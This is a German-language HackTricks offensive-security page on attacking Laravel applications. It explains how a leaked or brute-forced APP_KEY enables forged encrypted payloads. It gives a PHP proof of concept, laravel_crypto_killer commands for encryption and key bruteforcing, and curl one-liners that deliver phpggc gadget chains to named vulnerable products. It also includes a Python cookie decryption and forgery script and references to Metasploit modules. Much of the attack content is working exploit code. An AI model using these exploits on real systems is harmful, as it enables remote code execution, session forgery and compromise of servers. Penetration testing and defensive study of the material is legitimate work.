Laravel
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Laravel SQLInjection
Lesen Sie Informationen dazu hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Verschlüsselungsinternas (Laravel \u003e=5.6)
Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (Illuminate\\Encryption\\Encrypter
).
Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts wie:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
wird standardmäßig serialize()
den Klartext, während decrypt($payload, $unserialize=true)
automatisch unserialize()
den entschlüsselten Wert. Daher kann jeder Angreifer, der den 32-Byte-Geheimschlüssel APP_KEY
kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (__wakeup
, __destruct
, …) erlangen.
Minimal PoC (Framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injiziere den erzeugten String in jede verwundbare decrypt()
Senke (Routenparameter, Cookie, Sitzung, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce Modus hinzu:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.
Reale verwundbare Muster
Projekt | Verwundbare Senke | Gadget-Kette |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN Cookie, wenn Passport::withCookieSerialization() aktiviert ist | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session Cookie | Laravel/RCE15 |
Der Exploit-Workflow ist immer:
- Erhalten oder Brute-Force des 32-Byte
APP_KEY
. - Erstellen einer Gadget-Kette mit PHPGGC (zum Beispiel
Laravel/RCE13
,Laravel/RCE9
oderLaravel/RCE15
). - Verschlüsseln des serialisierten Gadgets mit laravel_crypto_killer.py und dem wiederhergestellten
APP_KEY
. - Übermitteln des Chiffretextes an die verwundbare
decrypt()
-Senke (Routenparameter, Cookie, Sitzung …), um RCE auszulösen.
Unten sind prägnante Einzeiler, die den vollständigen Angriffsweg für jede oben genannte reale CVE demonstrieren:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Mass APP_KEY Entdeckung über Cookie Brute-Force
Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (XSRF-TOKEN
und normalerweise laravel_session
) setzt, leaken öffentliche Internet-Scanner (Shodan, Censys, … Millionen von Chiffretexten, die offline angegriffen werden können.
Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):
- Datensatz Juli 2024 » 580 k Tokens, 3,99 % Schlüssel geknackt (≈23 k)
- Datensatz Mai 2025 » 625 k Tokens, 3,56 % Schlüssel geknackt
-
1 000 Server sind weiterhin anfällig für das Legacy CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.
- Hohe Schlüsselwiederverwendung – die Top-10 APP_KEYs sind hartcodierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
Das private Go-Tool nounours erhöht die AES-CBC/GCM Brute-Force-Durchsatzrate auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des vollständigen Datensatzes auf <2 Minuten.
Laravel Tricks
Debugging-Modus
Wenn Laravel im Debugging-Modus ist, können Sie auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles
:
Dies ist normalerweise erforderlich, um andere Laravel RCE CVEs auszunutzen.
.env
Laravel speichert die APP, die es verwendet, um die Cookies und andere Anmeldeinformationen zu verschlüsseln, in einer Datei namens .env
, die über einen Pfad-Traversal unter: /../.env
zugänglich ist.
Laravel zeigt diese Informationen auch auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und aktiviert ist).
Mit dem geheimen APP_KEY von Laravel können Sie Cookies entschlüsseln und erneut verschlüsseln:
Cookie entschlüsseln
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
Laravel Deserialization RCE
Anfällige Versionen: 5.5.40 und 5.6.x bis 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Hier finden Sie Informationen über die Deserialisierungsanfälligkeit: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Sie können es testen und ausnutzen mit https://github.com/kozmic/laravel-poc-CVE-2018-15133
Oder Sie können es auch mit metasploit ausnutzen: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Eine weitere Deserialisierung: https://github.com/ambionics/laravel-exploits
References
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.